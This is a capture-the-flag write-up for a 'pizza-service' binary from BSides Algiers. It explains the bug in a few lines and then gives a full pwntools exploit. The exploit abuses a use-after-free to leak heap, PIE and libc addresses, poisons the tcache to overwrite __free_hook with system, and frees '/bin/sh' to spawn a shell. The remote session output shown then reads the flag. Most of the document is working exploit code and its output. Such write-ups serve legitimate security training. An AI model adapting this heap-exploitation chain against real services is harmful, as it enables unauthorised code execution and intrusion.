Tags: uaf 

Rating: 5.0

*Use-After-Free* at *edit* function. Leak *usefull* address like pie, libc, etc. with overwrite *pizza-type* pointer and *print* with option number 3. After that, use *tcache poisoning* to overwrite `__free_hook` with `system`. Free "/bin/sh" for profit.

Full solver:

```py
#!/usr/bin/python

from pwn import *

BINARY = './pizza-service'

elf = ELF(BINARY)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so', 0)

gdbscript = ''''''

def debug(gdbscript):
if type(r) == process:
gdb.attach(r, gdbscript , gdb_args=["--init-eval-command='source ~/.gdbinit_pwndbg'"])

def take_order(nomor, address, with_soda='n'):
r.sendlineafter(': ', '1')
r.sendlineafter(': ', str(nomor))
r.sendlineafter('[y/n] ', with_soda)
r.sendlineafter(': ', address)

def edit(no_order, nomor, address, with_soda='n'):
r.sendlineafter(': ', '2')
r.sendlineafter(': ', str(no_order))
r.sendlineafter(': ', str(nomor))
r.sendlineafter('[y/n] ', with_soda)
r.sendlineafter(': ', address)
r.recvline()

def view_order(order_no):
r.sendlineafter(': ', '3')
r.sendlineafter(': ', str(order_no))
r.recvuntil("Order no. : %d\n" % order_no)
arr = []
for _ in range(4):
arr += [r.recvline(0).split(" : ")[-1]]
return arr

def deliver(order_no):
r.sendlineafter(': ', '4')
r.sendlineafter(': ', str(order_no))

def relogin(username): # not used lol
r.sendlineafter(': ', '5')
r.sendlineafter(': ', username)

def exploit(r):
r.sendlineafter(': ', 'PWNERS!')

take_order(1, "B"*8, with_soda='y')
take_order(1, "B"*8, with_soda='y')
take_order(1, "B"*8, with_soda='y')

deliver(1)
deliver(2)

heap = u64(view_order(2)[-1].ljust(8, "\0"))
info("heap 0x%x", heap)

edit(2, 1, p64(heap+160))

take_order(1, "C"*8)
take_order(1, p64(heap+96))

elf.address = u64(view_order(3)[0][:6].ljust(8, '\0')) - 0x1278
info("base 0x%x", elf.address)

edit(5, 1, p64(elf.got['puts']))
libc.address = u64(view_order(3)[0][:6].ljust(8, '\0')) - libc.sym['puts']
info("libc 0x%x", libc.address)

deliver(3)
deliver(4)

edit(4, 1, p64(libc.sym['__free_hook']))

take_order(2, "/bin/sh") # 6
take_order(2, p64(libc.sym['system'])) # 7

deliver(6) # trigger system("/bin/sh")
r.recvuntil(": ")

r.interactive()

if __name__ == '__main__':
if len(sys.argv) > 1:
libc = ELF('./libc-2.31.so')
r = remote("chall.bsidesalgiers.com", 4004)
else:
r = process(BINARY, aslr=1)
exploit(r)
```

Short writeup. Because of my bad english, *lol*.

```python
[+] Opening connection to chall.bsidesalgiers.com on port 4004: Done
[*] heap 0x55a69f5f42e0
[*] base 0x55a69d9dc000
[*] libc 0x7f242277b000
[*] Switching to interactive mode
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ ls -la
total 32
drwxr-xr-x 1 root root 4096 Dec 17 00:05 .
drwxr-xr-x 1 root root 4096 Dec 18 12:57 ..
-rw-r--r-- 1 root root 39 Dec 16 23:53 flag.txt
-rwxr-xr-x 1 root root 13608 Dec 16 23:53 pizza-service
-rwxr-xr-x 1 root root 108 Dec 16 23:53 run_server.sh
$ cat flag.txt
shellmates{m4N1Pul4t1nG_piz7a_ChunK$!}
```